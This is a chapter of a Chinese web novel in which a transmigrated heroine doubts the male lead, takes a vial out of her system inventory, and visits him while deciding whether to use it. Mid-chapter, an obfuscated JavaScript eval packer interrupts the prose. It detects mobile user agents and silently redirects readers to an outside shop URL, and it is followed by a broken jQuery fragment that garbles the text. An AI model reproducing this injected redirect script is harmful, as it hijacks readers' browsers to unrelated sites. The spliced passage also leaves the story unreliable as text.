夜晚沈侨安躺在床上,黑洞洞一片的夜里,那一幕却不停地在眼前重播。
他知道有人要栽赃他,他甚至知道那个人是沈光远,所以他故意还了回去。
怪不得沈运泽那篇文章会如此的巧合,原来不是沈光远得到的报应。
其实也算……
但她觉得心中好似有什么东西破碎掉了。
那个她曾经从原著的字字句句中拼凑出来的,那个光风霁月的男二的形象,那个才华横溢,重情重义,在纷杂的朝剧中宛如一股清流的男二,经历磋磨差一步就可以实现抱负却硬生生被魔改的可怜孩子。
现在告诉自己,其实不是那样的,他其实也是心机深沉的难以捉摸。那所谓的磋磨不是无法避免,还是自己选择的。
甚至那个结局,可能也不是魔改的,可能他本来就是那样的人,那本来就想那么做……
她觉得自己曾为那存在于黑白文字间的顾颂淮写下的几千字的人物小传,碎成了一摊零散不规则的自己。
那些碎片好似一幕幕镜面,映出单纯可笑的自己,却又好像突然出现了顾颂淮的侧脸。
他温和地笑着看着自己,但是那笑容却令人不寒而栗。
沈侨安用力闭上眼睛,半响,再缓缓睁开。
面前依旧是黑洞洞的房顶,什么都没有。
但是她的手中却出现了一个小圆瓶。
冰凉的触感,让沈侨安一怔。
这时什么时候到自己手上的?
系统系统?
沈侨安试着在脑海中唤着。
你也觉得应该趁早处理掉顾颂淮以绝后患吗?
周遭一片安静,就在沈侨安以为系统会和以往一样不会给出任何回应时,突然,“叮”的一声,一道电子音突兀地在她脑海中炸响。
【叮,请宿主积极推线,确保故事达成HE结局。】
沈侨安一怔。
系统……你也觉得要达成HE就一定要处理掉顾颂淮吗?
她再吃试探着在脑海中问到。
这次没再有回应。
沈侨安沉默着拿起那个玻璃瓶。透明的瓶子在黑夜中映出她自己的面容。
-
沈侨安最终还是将那个瓶子藏了起来。同时,她也将自己藏了起来。
她找了身体抱恙的借口,将自己藏在房间里,推掉了所有人的见面,包括沈书宁来找她,她也只说身体抱恙。
她突然有点害怕见到沈书宁。现在她同沈书宁,还有贺君棠眼里的顾颂淮,像是完全相反的两个人。在他们眼里,顾颂淮或许还是那个被冤枉、被夺了功名、一蹶不振的受害者。
她不知道该不该将事情的真相讲给他们听,该怎么将这个真相告诉他们。
她很想拿过原著,再细细研究一下,从那些蛛丝马迹中找到一些痕迹,来佐证,顾颂淮就应该是那样心机深沉的人。
但现实是,她没有机会去读一遍原著,而她脑海里留下的所有印象,都是清风朗月的白月光。除了那个突然黑化发疯的结局。
她就那样将自己在房间里关了三日,还是没理出个头绪。
第四日,沈书宁又来敲响了她的门,但沈侨安依旧像个鸵鸟似得窝在床上,没有去开。
“侨安,”沈书宁在门外唤道,“太子殿下说这几日一直没有顾公子的消息,有些担心。”
沈侨安“嗖”一下坐直了,但是看着窗户上映出沈书宁的影子,却仍没有丝毫动作。
“你要一起吗?”沈书宁的声音顿了一下,似在等待着她的回音。
沈侨安沉默了片刻,缓缓开口道:“我就不去了,今日还有些乏。”
沈书宁似是轻轻叹了口气,“罢了,你不去便不去吧。我同太子殿下先去看看,有什么消息晚些回来同你说,你先好生歇着吧。”
脚步声在廊下渐渐远去,沈侨安站在门后,听着那声音消失在院子那头。
她垂下头,看着自己搭在门闩上的手指,又默默将手缩了回来。
沈书宁回来时已是傍晚。她没有直接回自己院子,而是先绕到了沈侨安的房门口,轻叩了两下门。
“侨安?你好些了吗?”
伴随着“吱呀”一声,门开了一条缝。沈侨安站在门内,侧身让沈书宁进了门。沈书宁在桌边坐下,沈侨安默不作声地给她倒了杯茶,沈书宁捧在手中,斟酌许久,缓缓开口道。
“他状态……有些不好。”
沈侨安在她对面坐下来,没有接话。
“我们去了顾府,却怎么也没找见他的人影,末了,太子殿下发现他寝室房门反锁着,门口放着几坛酒,房间内隐隐还飘出浓重的酒气。”沈书宁停顿了一下,像是在斟酌措辞,“太子殿下敲了许久的门,他却只丢出一句话。”
“什么话?”沈侨安终是忍不住问道。
“‘让殿下别再管他了。’”
沈侨安的手指微微蜷了一下。
她一时有些分不清,这是他对贺君棠的忠告还是警告。
沈书宁沉默了一会儿,然后轻声开口道:“你这几日也不对劲。”
沈侨安默默垂下眸子,盯着自己手中的茶杯。
“我不知道你们那日说了什么,”沈书宁说,“但你从他那回去之后,好像也将自己锁了起来。”
沈侨安的手指在袖口里攥紧了又松开。她想起那日在书房里的那些对话,想起他说那些话平静的、不带任何温度的语气。她不知道该怎么告诉沈书宁——她害怕的不仅是顾颂淮,还有她自己。她害怕自己再去见他的时候,会做出什么她自己也说不清的事。
“你若不想去,就不去。”沈书宁站起身来,走到门口时回头看了她一眼,“但别让自己一直这么悬着。”
门轻轻合上了。沈侨安一个人坐在桌前,看着那盏沈书宁没有动过的茶。茶水已经凉了,表面凝结了一层极薄的膜。她坐着看了很久,然后她闭上眼睛,在意识深处唤出了系统面板。
背包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781147|209184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
栏里那个图标还在。她盯着它看了几息,然后点了取出。一只透明玻璃瓶出现在她的袖口里,贴着皮肤,冷得像一片冰。她感觉到了那个温度,但她没有拿出来看。她只是坐在那里,袖口里多了一样东西。她不知道自己明天会不会用它,但那个念头像一枚沉在水底的种子,被那冰凉的温度包裹着,还没有破土。
窗外夜色更浓了。她知道自己睡不着。
第二日清晨,沈侨安换了件出门的衣裳。她在镜前站了一会儿,伸手按了按袖口,那只透明的瓶子问问地被她藏在袖间。她垂下眼,转身推开了房门。
顾府的门还是和上次一样虚掩着。她推门进去时,院子里没有人。廊下的枯叶比上次更多了,被风吹成一堆堆的,没有人扫过。她穿过回廊走到书房门口,门半敞着,她停了一下,然后推开了它。
顾颂淮坐在书案后面,手里没有书。他正低着头,像是在看自己摊开的手掌,又像什么都没在看。听到开门声,他抬起了头。
看到是她,他的目光停了一瞬,然后他弯了一下嘴角。那个弧度很淡,带着一丝意外:“我还以为你不会再来了。”
沈侨安站在门口,看着他。日光从她身后的窗棂间漏进来,将他笼在一片灰白的光线里。他比上次更瘦了一些,下颌的轮廓更分明了,眼底有一层淡淡的青色。但他在笑,在他面前,他不像是沈书宁口中那个对着空酒坛沉默不语的人。
这个念头让她的手指在袖口里微微收紧了一下。
“我……”她开口,发现自己不知道该说什么。“我来看看你。”
顾颂淮看着她,没有拆穿那句“来看看”后面藏着的东西。他站起身来:“坐吧。我去倒茶。”
沈侨安看着他的背影消失在门口,袖口里那只透明玻璃瓶的温度隔着衣料传上来,像一片冰贴着腕骨内侧。她坐在书案旁边的椅子上,目光落在他方才坐过的位置上。
她不知道自己坐了多久。等她听到脚步声从廊下传来时,她站起身来,走到窗边,背对着门口。顾颂淮端着茶盘走进来时,看到的正是她的背影。他没有说什么,只是将茶盘放在桌上,提起茶壶斟了两杯茶。
“茶水有些烫。”他低头看着水汽。
沈侨安转过身来。她看着那两杯茶,看着茶烟袅袅地升起来,在空气中绕成一线薄薄的白雾。她的目光从茶盏移到他的脸上,他的脸色比上次更白了一些,看起来很疲惫,但他在她面前,依旧是那副从容、平静的模样,不像沈书宁口中那个酗酒颓废的人。
“顾颂淮。”她开口。
他抬起头看她。
她的手指已经碰到了那只透明玻璃瓶,冰凉的釉面贴着指尖。
她想问他,你到底是一个什么样的人?但她没有问出来。她的手指微微用力,像是在试图确认那瓶药还在。她还没想好要不要拿出来,但那只透明玻璃瓶的存在本身,已经开始迫近她。她听到自己的心跳声,在那片短暂的沉默里,一声一声地,清晰得像在倒数什么东西。